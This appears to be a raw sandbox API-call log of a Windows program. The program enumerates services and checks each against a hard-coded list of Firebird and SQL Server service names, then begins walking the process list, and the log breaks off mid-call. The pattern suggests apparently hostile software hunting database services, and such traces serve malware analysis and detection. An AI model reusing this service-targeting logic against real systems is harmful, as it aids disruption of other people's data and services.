0x54a0058 [0289.235] EnumServicesStatusExW (in: hSCManager=0x69a130, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x54a0058, cbBufSize=0x1c30, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x54a0058, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0289.236] CloseServiceHandle (hSCObject=0x69a130) returned 1 [0289.236] lstrlenW (lpString="Appinfo") returned 7 [0289.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0289.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0289.236] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0289.237] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0289.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0289.237] lstrlenW (lpString="AppXSvc") returned 7 [0289.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0289.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0289.237] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0289.237] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0289.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0289.237] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0289.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0289.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0289.237] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0289.237] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0289.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0289.237] lstrlenW (lpString="Audiosrv") returned 8 [0289.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0289.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0289.237] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0289.237] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0289.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0289.237] lstrlenW (lpString="BFE") returned 3 [0289.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0289.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0289.237] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0289.238] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0289.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0289.238] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0289.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0289.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0289.238] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0289.238] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0289.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0289.238] lstrlenW (lpString="CDPSvc") returned 6 [0289.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0289.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0289.238] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0289.238] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0289.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0289.238] lstrlenW (lpString="ClickToRunSvc") returned 13 [0289.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0289.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0289.238] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0289.238] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0289.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0289.238] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0289.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0289.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0289.239] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0289.239] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0289.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0289.239] lstrlenW (lpString="CryptSvc") returned 8 [0289.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0289.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0289.239] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0289.239] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0289.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0289.239] lstrlenW (lpString="DcomLaunch") returned 10 [0289.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0289.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0289.239] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0289.239] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0289.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0289.239] lstrlenW (lpString="DeviceAssociationService") returned 24 [0289.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0289.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0289.239] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0289.239] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0289.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0289.239] lstrlenW (lpString="Dhcp") returned 4 [0289.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0289.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0289.240] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0289.240] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0289.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0289.240] lstrlenW (lpString="Dnscache") returned 8 [0289.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0289.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0289.240] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0289.240] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0289.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0289.240] lstrlenW (lpString="DPS") returned 3 [0289.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0289.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0289.240] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0289.240] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0289.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0289.240] lstrlenW (lpString="DusmSvc") returned 7 [0289.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0289.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0289.240] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0289.240] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0289.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0289.240] lstrlenW (lpString="EventLog") returned 8 [0289.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0289.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0289.241] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0289.241] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0289.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0289.241] lstrlenW (lpString="EventSystem") returned 11 [0289.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0289.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0289.241] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0289.241] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0289.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0289.241] lstrlenW (lpString="FontCache") returned 9 [0289.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0289.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0289.241] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0289.241] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0289.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0289.241] lstrlenW (lpString="gpsvc") returned 5 [0289.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0289.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0289.241] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0289.241] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0289.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0289.241] lstrlenW (lpString="iphlpsvc") returned 8 [0289.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0289.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0289.241] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0289.242] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0289.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0289.242] lstrlenW (lpString="KeyIso") returned 6 [0289.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0289.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0289.242] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0289.242] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0289.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0289.242] lstrlenW (lpString="LanmanServer") returned 12 [0289.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0289.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0289.242] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0289.242] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0289.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0289.242] lstrlenW (lpString="LanmanWorkstation") returned 17 [0289.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0289.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0289.242] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0289.242] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0289.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0289.242] lstrlenW (lpString="lfsvc") returned 5 [0289.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0289.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0289.242] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0289.243] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0289.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0289.263] lstrlenW (lpString="lmhosts") returned 7 [0289.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0289.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0289.263] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0289.263] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0289.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0289.263] lstrlenW (lpString="LSM") returned 3 [0289.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0289.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0289.263] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0289.263] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0289.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0289.263] lstrlenW (lpString="MpsSvc") returned 6 [0289.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0289.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0289.263] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0289.263] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0289.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0289.264] lstrlenW (lpString="NcbService") returned 10 [0289.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0289.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0289.264] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0289.264] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0289.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0289.264] lstrlenW (lpString="netprofm") returned 8 [0289.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0289.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0289.264] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0289.264] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0289.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0289.264] lstrlenW (lpString="NgcSvc") returned 6 [0289.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0289.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0289.264] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0289.264] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0289.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0289.264] lstrlenW (lpString="NlaSvc") returned 6 [0289.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0289.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0289.264] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0289.264] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0289.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0289.265] lstrlenW (lpString="nsi") returned 3 [0289.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0289.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0289.273] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0289.273] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0289.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0289.273] lstrlenW (lpString="PcaSvc") returned 6 [0289.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0289.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0289.273] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0289.273] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0289.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0289.273] lstrlenW (lpString="PlugPlay") returned 8 [0289.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0289.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0289.273] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0289.273] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0289.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0289.274] lstrlenW (lpString="Power") returned 5 [0289.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0289.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0289.274] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0289.274] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0289.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0289.274] lstrlenW (lpString="ProfSvc") returned 7 [0289.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0289.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0289.274] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0289.274] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0289.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0289.274] lstrlenW (lpString="RpcEptMapper") returned 12 [0289.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0289.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0289.274] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0289.274] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0289.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0289.274] lstrlenW (lpString="RpcSs") returned 5 [0289.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0289.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0289.274] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0289.274] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0289.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0289.275] lstrlenW (lpString="SamSs") returned 5 [0289.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0289.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0289.275] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0289.275] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0289.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0289.275] lstrlenW (lpString="Schedule") returned 8 [0289.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0289.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0289.275] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0289.275] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0289.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0289.275] lstrlenW (lpString="SecurityHealthService") returned 21 [0289.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0289.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0289.275] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0289.275] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0289.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0289.275] lstrlenW (lpString="SENS") returned 4 [0289.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0289.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0289.275] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0289.275] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0289.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0289.276] lstrlenW (lpString="ShellHWDetection") returned 16 [0289.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0289.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0289.276] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0289.276] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0289.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0289.276] lstrlenW (lpString="Spooler") returned 7 [0289.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0289.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0289.276] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0289.276] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0289.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0289.276] lstrlenW (lpString="StateRepository") returned 15 [0289.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0289.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0289.276] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0289.276] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0289.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0289.276] lstrlenW (lpString="SysMain") returned 7 [0289.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0289.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0289.276] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0289.276] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0289.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0289.276] lstrlenW (lpString="SystemEventsBroker") returned 18 [0289.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0289.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0289.277] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0289.277] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0289.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0289.277] lstrlenW (lpString="Themes") returned 6 [0289.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0289.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0289.277] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0289.277] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0289.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0289.277] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0289.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0289.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0289.277] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0289.277] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0289.277] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x54a0058 | out: hHeap=0x640000) returned 1 [0289.277] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x560 [0289.282] Process32FirstW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0289.283] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0289.284] lstrlenW (lpString="System") returned 6 [0289.284] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0289.286] lstrlenW (lpString="smss.exe") returned 8 [0289.286] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0289.287] lstrlenW (lpString="csrss.exe") returned 9 [0289.287] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0289.288] lstrlenW (lpString="wininit.exe") returned 11 [0289.289] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0289.289] lstrlenW (lpString="csrss.exe") returned 9 [0289.290] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | 